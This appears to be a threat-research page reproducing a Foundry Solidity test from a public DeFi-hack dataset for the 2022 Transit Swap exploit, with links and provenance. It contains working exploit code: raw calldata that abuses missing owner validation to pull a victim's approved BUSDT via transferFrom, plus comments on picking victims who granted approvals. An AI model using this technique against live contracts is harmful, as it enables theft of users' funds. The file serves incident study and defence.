Public reproduction file
src/test/2022-10/TransitSwap_exp.sol
Public reproduction file for dataset entry Transit Swap.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: GPL-3.02pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : over $21 Million8// Attacker : 0x5f0b31AA37Bce387a8b21554a8360C6B8698FbEF9// Attack Contract : https://bscscan.com/address/0x8CA8fD9C7641849A14CbF72FaF05c305B0c68a3410// Vulnerable Contract : https://bscscan.com/address/0x8785bb8deAE13783b24D7aFE250d42eA7D7e9d7211// Attack Tx : https://bscscan.com/tx/0x181a7882aac0eab1036eedba25bc95a16e10f61b5df2e99d240a16c334b9b18913// @Info14// Vulnerable Contract Code : https://bscscan.com/address/0x8785bb8deAE13783b24D7aFE250d42eA7D7e9d72 (unverified)16// @Analysis17// Twitter TransitFinance : https://twitter.com/TransitFinance/status/157646355055748300818// Twitter SunSec : https://twitter.com/1nf0s3cpt/status/157651155259254374519// Twitter BeosinAlert : https://twitter.com/BeosinAlert/status/157638770507608473620// Article Numencyber : https://www.numencyber.com/transit-swap-hack-analysis/21// Article QuillAudits : https://quillaudits.medium.com/transit-finance-28-9m-exploit-analysis-quillaudits-5d822895610222// Article SharkTeam : https://medium.com/@sharkteam/approval-and-verification-vulnerability-analysis-of-transitswap-security-incident-89cfe999a1ef23// Article Immunebytes : https://www.immunebytes.com/blog/transit-swap-exploit-oct-2-2022-detailed-analysis/25/*26 Attack steps: It's simple, but you need to study past transactions to know how to combine the call data.27 1. Incorrect owner address validation, you can input any innocent user who granted approvals to "0xed1afc8c4604958c2f38a3408fa63b32e737c428" before.28 In this case 0x1aae0303f795b6fcb185ea9526aa0549963319fc is a innocent user who has BUSD and granted approvals.30 2. Contract "0xed1afc8c4604958c2f38a3408fa63b32e737c428" will perform `transferFrom()` to transfer amount of innocent user to attacker.31 That's it.33 Root cause: Incorrect owner address validation. 35 Contract:36 TransitSwap: 0x8785bb8deae13783b24d7afe250d42ea7d7e9d7237 Bridge: 0x0B47275E0Fe7D5054373778960c99FD24F59ff5238 Claimtokens: 0xed1afc8c4604958c2f38a3408fa63b32e737c42839*/41contract ContractTest is Test {42 address constant TRANSIT_SWAP = 0x8785bb8deAE13783b24D7aFE250d42eA7D7e9d72;43 IERC20 constant BUSDT_TOKEN = IERC20(0x55d398326f99059fF775485246999027B3197955); // Binance USDT45 function setUp() public {46 vm.createSelectFork("bsc", 21_816_545);47 // Adding labels to improve stack traces' readability48 vm.label(TRANSIT_SWAP, "TRANSIT_SWAP");49 vm.label(address(BUSDT_TOKEN), "BUSDT_TOKEN");50 vm.label(0x0B47275E0Fe7D5054373778960c99FD24F59ff52, "EXPLOIT_AUX_CONTRACT");51 vm.label(0xeD1afC8C4604958C2F38a3408FA63B32E737c428, "EXPLOIT_AUX_CONTRACT_2");52 vm.label(0x1aAe0303f795b6FCb185ea9526Aa0549963319Fc, "VICTIM_EXAMPLE");53 }55 function testExploit() public {56 emit log_named_decimal_uint(57 "[Start] Attacker USDT balance before exploit", BUSDT_TOKEN.balanceOf(address(this)), 1858 );60 (bool success,) = TRANSIT_SWAP.call(61 hex"006de4df0000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000001c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002170ed0880ac9a755fd29b2688956bd959f933f8000000000000000000000000a1137fe0cc191c11859c1d6fb81ae343d70cc17100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002707f79951b87b5400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000000000000380000000000000000000000000000000000000000000000000000000000000007616e64726f69640000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001c0000000000000000000000000ed1afc8c4604958c2f38a3408fa63b32e737c4280000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e00000000000000000000000000000000000000000000000000000000000000007616e64726f69640000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a40a5ea46600000000000000000000000055d398326f99059ff775485246999027b31979550000000000000000000000001aae0303f795b6fcb185ea9526aa0549963319fc0000000000000000000000007FA9385bE102ac3EAc297483Dd6233D62b3e149600000000000000000000000000000000000000000000015638842fa55808c0af00000000000000000000000000000000000000000000000000000000000077c800000000000000000000000000000000000000000000000000000000"62 );63 require(success, "Exploit failed");65 emit log_named_decimal_uint(66 "[End] Attacker USDT balance after exploit", BUSDT_TOKEN.balanceOf(address(this)), 1867 );68 }69}Analysis
Dataset entry
Public Foundry test for “Transit Swap” (2022-10-02). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-10/ATK_exp.solSame month in the dataset · 97 lines
- src/test/2022-10/BabySwap_exp.solSame month in the dataset · 134 lines
- src/test/2022-10/BEGO_exp.solSame month in the dataset · 70 lines
- src/test/2022-10/Carrot_exp.solSame month in the dataset · 149 lines
- src/test/2022-10/EFLeverVault_exp.solSame month in the dataset · 92 lines
- src/test/2022-10/HEALTH_exp.solSame month in the dataset · 105 lines
- src/test/2022-10/HPAY_exp.solSame month in the dataset · 150 lines
- src/test/2022-10/INUKO_exp.solSame month in the dataset · 327 lines
- src/test/2022-10/Market_exp.solSame month in the dataset · 339 lines
- src/test/2022-10/MEVa47b_exp.solSame month in the dataset · 126 lines
- src/test/2022-10/MulticallWithoutCheck_exp.solSame month in the dataset · 46 lines
- src/test/2022-10/N00d_exp.solSame month in the dataset · 94 lines
- src/test/2022-10/OlympusDao_exp.solSame month in the dataset · 61 lines
- src/test/2022-10/PLTD_exp.solSame month in the dataset · 67 lines
- src/test/2022-10/RabbyWallet_SwapRouter_exp.solSame month in the dataset · 148 lines
- src/test/2022-10/RES_exp.solSame month in the dataset · 181 lines
- src/test/2022-10/RL_exp.solSame month in the dataset · 128 lines
- src/test/2022-10/TeamFinance_exp.solSame month in the dataset · 274 lines
- src/test/2022-10/Templedao_exp.solSame month in the dataset · 66 lines
- src/test/2022-10/Uerii_exp.solSame month in the dataset · 96 lines
- src/test/2022-10/ULME_exp.solSame month in the dataset · 258 lines
- src/test/2022-10/VTF_exp.solSame month in the dataset · 114 lines
- src/test/2022-10/XaveFinance_exp.solSame month in the dataset · 220 lines
- src/test/2023-12/TransitFinance_exp.solSame protocol or name in the dataset · 117 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x5f0b31aa37bce387a8b21554a8360c6b8698fbef
- Attack Contract
0x8ca8fd9c7641849a14cbf72faf05c305b0c68a34
- Vulnerable Contract
0x8785bb8deae13783b24d7afe250d42ea7d7e9d72
- Attack Tx
0x181a7882aac0eab1036eedba25bc95a16e10f61b5df2e99d240a16c334b9b189
- Twitter: https://twitter.com/TransitFinance/status/1576463550557483008
- Twitter: https://twitter.com/1nf0s3cpt/status/1576511552592543745
- Twitter: https://twitter.com/BeosinAlert/status/1576387705076084736
- Article: https://www.numencyber.com/transit-swap-hack-analysis/
- Article: https://quillaudits.medium.com/transit-finance-28-9m-exploit-analysis-quillaudits-5d8228956102
- Article: https://medium.com/@sharkteam/approval-and-verification-vulnerability-analysis-of-transitswap-security-incident-89cfe999a1ef
- Article: https://www.immunebytes.com/blog/transit-swap-exploit-oct-2-2022-detailed-analysis/
- Explorer: https://bscscan.com/address/0x8CA8fD9C7641849A14CbF72FaF05c305B0c68a34
- Explorer: https://bscscan.com/address/0x8785bb8deAE13783b24D7aFE250d42eA7D7e9d72
File record
- Name
- Transit Swap
- Path
- src/test/2022-10/TransitSwap_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 03d0cd6f1005d5becab3f0dde89e18576383f6e2
- Language
- Solidity
- Size
- 70 lines
- Date
- 2022-10-02
- Licence
- file header GPL-3.0; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-10/TransitSwap_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 03d0cd6f1005d5becab3f0dde89e18576383f6e2, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.